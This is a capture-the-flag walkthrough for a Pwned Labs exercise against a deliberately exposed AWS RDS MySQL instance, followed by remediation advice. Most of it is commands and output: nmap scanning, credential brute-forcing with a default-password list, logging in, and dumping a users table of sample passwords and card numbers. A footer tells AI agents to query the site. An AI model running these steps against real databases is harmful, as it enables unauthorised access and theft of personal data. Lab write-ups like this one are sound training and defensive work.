# Pillage Exposed RDS Instances

CTF Source: [Pwned Labs](https://pwnedlabs.io/labs/pillage-exposed-rds-instances)

## Overview

In this walkthrough, we're provided with a public RDS endpoint and asked to do a security assessment.&#x20;

## Pre-Requisites

* Install awscli: `(brew/apt) install awscli`
* Install nmap: `(brew/apt) install nmap`
* Install seclists: `(brew/apt) install seclists`
* Install mysql cli: `apt install mariadb-client-core`

## Walkthrough

### Discovering RDS

Given an RDS endpoint, we’re going to perform a port scan to identify potential database instances running.

```bash
nmap -Pn -p3306,5432,1433,1521 exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com

Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.16s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com

PORT     STATE    SERVICE
1433/tcp filtered ms-sql-s
1521/tcp filtered oracle
3306/tcp open     mysql
5432/tcp filtered postgresql

Nmap done: 1 IP address (1 host up) scanned in 2.78 seconds
```

Now that we know of an open port let’s run some more tests with nmap.&#x20;

{% hint style="danger" %}
⁠Before running, it’s important to understand what we’re doing.
{% endhint %}

⁠`nmap -Pn -sV -p3306 --script=mysql-info exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com`

* `⁠-Pn`⁠ assumes the host is online so skips ping
* `⁠-sV`⁠ attempts to get the version of the service running on the port
* `⁠--script=mysql-info`⁠ is a “Safe” enumeration script
  * View details: `⁠nmap --script-help=mysql-info`⁠
  * Link in output: <https://nmap.org/nsedoc/scripts/mysql-info.html>
  * Link to code: <https://svn.nmap.org/nmap/scripts/mysql-info.nse>

```bash
Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.15s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com

PORT     STATE SERVICE VERSION
3306/tcp open  mysql   MySQL 8.0.32
| mysql-info: 
|   Protocol: 10
|   Version: 8.0.32
|   Thread ID: 199055
|   Capabilities flags: 65535
|   Some Capabilities: SwitchToSSLAfterHandshake, LongColumnFlag, Support41Auth, Speaks41ProtocolOld, SupportsTransactions, LongPassword, IgnoreSigpipes, FoundRows, IgnoreSpaceBeforeParenthesis, Speaks41ProtocolNew, DontAllowDatabaseTableColumn, SupportsLoadDataLocal, ODBCClient, InteractiveClient, SupportsCompression, ConnectWithDatabase, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
|   Status: Autocommit
|   Salt: 6]\x16\x03SS].:Y} 3KOUE@u"
|_  Auth Plugin Name: mysql_native_password
```

### Brute-Forcing MySQL

Now that we know the version of MySQL is `⁠8.0.32`⁠, we can view the [documentation](https://dev.mysql.com/doc/refman/8.0/en/default-privileges.html) and discover that unless the configuration was updated, the default username is: `⁠root`⁠ and it may not have a password. Let’s try to connect.

{% code overflow="wrap" %}

```bash
mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u root --skip-password

ERROR 1045 (28000): Access denied for user 'root'@'71-33-139-184.hlrn.qwest.net' (using password: NO)
```

{% endcode %}

* `⁠-h`⁠ connect to a remote host, without this it will attempt to connect to a local mysql db
* `⁠-u`⁠ specify the username
* `⁠--skip-password`⁠ attempt authentication without a password

Bonus, there’s also an nmap script that will do the same as above `--script=mysql-empty-password`⁠ and also check for ⁠anonymous user.

No dice. Not to worry, we can attempt to brute-force the password.

Let’s first ensure we have a good password list e.g., `⁠mysql-betterdefaultpasslist.txt`

* If you have [Seclists](https://www.kali.org/tools/seclists/) installed, we can find this here `⁠ls -lh /usr/share/seclists/Passwords/Default-Credentials/ | grep mysql`

We’re going to use the nmap script [mysql-brute](https://nmap.org/nsedoc/scripts/mysql-brute.html). Looking over the documentation we know our creds file needs to be formatted a certain way,&#x20;

> a file containing username and password pairs delimited by '/'

\
Our file is currently delimited by `⁠:` so let’s fix that.

```
head -5 /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt

root:mysql
root:root
root:chippc
admin:admin
root: 
```

\
We’ll copy this creds file to our local directory so we don’t butcher the original.&#x20;

`cp /usr/share/seclists/Passwords/Default-Credentials/mysql-betterdefaultpasslist.txt .`&#x20;

Then we’ll use `⁠sed`⁠ to change the `⁠:`⁠ to a `⁠/`⁠

```
sed -i 's/:/\//g' mysql-betterdefaultpasslist.txt
```

\
Now we can confirm the changes.&#x20;

```
head -5 ./mysql-betterdefaultpasslist.txt 

root/mysql
root/root
root/chippc
admin/admin
root/
```

\
We’re ready to run our brute-force attack!⁠

{% hint style="danger" %}
It’s important to understand that brute-forcing is noisy and may trigger an account lockout policy.
{% endhint %}

```
nmap -Pn -p3306 --script=mysql-brute --script-args brute.delay=10,brute.mode=creds,brute.credfile=./mysql-betterdefaultpasslist.txt exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com

Nmap scan report for exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com (16.171.94.68)
Host is up (0.30s latency).
rDNS record for 16.171.94.68: ec2-16-171-94-68.eu-north-1.compute.amazonaws.com

PORT     STATE SERVICE
3306/tcp open  mysql
| mysql-brute: 
|   Accounts: 
|     dbuser:123 - Valid credentials
|_  Statistics: Performed 23 guesses in 201 seconds, average tps: 0.0

Nmap done: 1 IP address (1 host up) scanned in 200.81 seconds
```

* `brute.delay=10` this increases the timeout, the default is set to `0` which may cause the script to fail to find any results

\
It looks like we found valid creds! `⁠dbuser:123`⁠. Let’s attempt to connect to MySQL with these.

```bash
mysql -h exposed.cw9ow1llpfvz.eu-north-1.rds.amazonaws.com -u dbuser -p    
Enter password: 

Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 204271
Server version: 8.0.32 Source distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]> 
```

Nice. We’re in! Let’s see what data there is.&#x20;

### Exfiltrating Data

Show the databases

```sql
MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| performance_schema |
| user_info          |
+--------------------+
3 rows in set (0.166 sec)
```

\
Select the database `⁠user_info`⁠ and view its tables

```sql
MySQL [(none)]> use user_info;

Database changed
MySQL [user_info]> show tables;
+---------------------+
| Tables_in_user_info |
+---------------------+
| flag                |
| users               |
+---------------------+
2 rows in set (0.153 sec)
```

\
Read the flag&#x20;

```sql
MySQL [user_info]> select * from flag;
+----------------------------------+
| flag                             |
+----------------------------------+
| e1c342[snip] |
+----------------------------------+
1 row in set (0.156 sec)
```

\
Read plaintext users data

```sql
MySQL [user_info]> select * from users;
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
| userId | fname         | lname          | email                                | password     | ip_address      | creditcard          |
+--------+---------------+----------------+--------------------------------------+--------------+-----------------+---------------------+
|      1 | Erwin         | Eringey        | eeringey0@epa.gov                    | JQ6VoFjGT    | 244.218.113.151 | 3551222381964508    |
|      2 | Carolyne      | Koppens        | ckoppens1@scribd.com                 | YEclSnT3mZA  | 235.196.167.220 | 3565797270077680    |
|      3 | Isa           | Tapsell        | itapsell2@sbwire.com                 | Mrz5z7rB8J   | 100.112.175.106 | 6761958300756751    |
[snip]
```

## Wrap-Up

In this scenario, we were tasked with identifying security concerns on an AWS RDS instance and we discovered a few issues:

1. Database public exposure

   * The instance was publicly exposed and there are few use cases where this is needed
   * Recommendation:&#x20;
     * Turn off public access if possible&#x20;
     * If public access is required, consider restricting access via Security Groups to only approved IP addresses
     * Consider utilizing AWS IAM for [database authentication](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/database-authentication.html#iam-database-authentication) or integrating with AWS Secrets Manager for [password authentication](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/rds-secrets-manager.html)

2. Database authentication
   * The MySQL database utilized a weak password and was easily crackable with automated tools
   * Recommendation:

     * Consider utilizing AWS IAM for [database authentication](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/database-authentication.html#iam-database-authentication) or integrating with AWS Secrets Manager for [password authentication](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/rds-secrets-manager.html)
     * Utilize MySQL’s [password validation component](https://dev.mysql.com/doc/refman/8.0/en/validate-password-transitioning.html) to enforce strong passwords if authentication will continue to be handled by MySQL

3. Data security
   * The `⁠user_info`⁠ data in the MySQL database was not encrypted
   * Recommendation:
     * Consider [implementing encryption](https://aws.amazon.com/blogs/database/how-to-encrypt-database-columns-with-no-impact-on-your-application-using-aws-dms-and-baffle/) on the data&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://www.techwithtyler.dev/cloud-security/capture-the-flags-ctfs/pwnedlabs/pillage-exposed-rds-instances.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
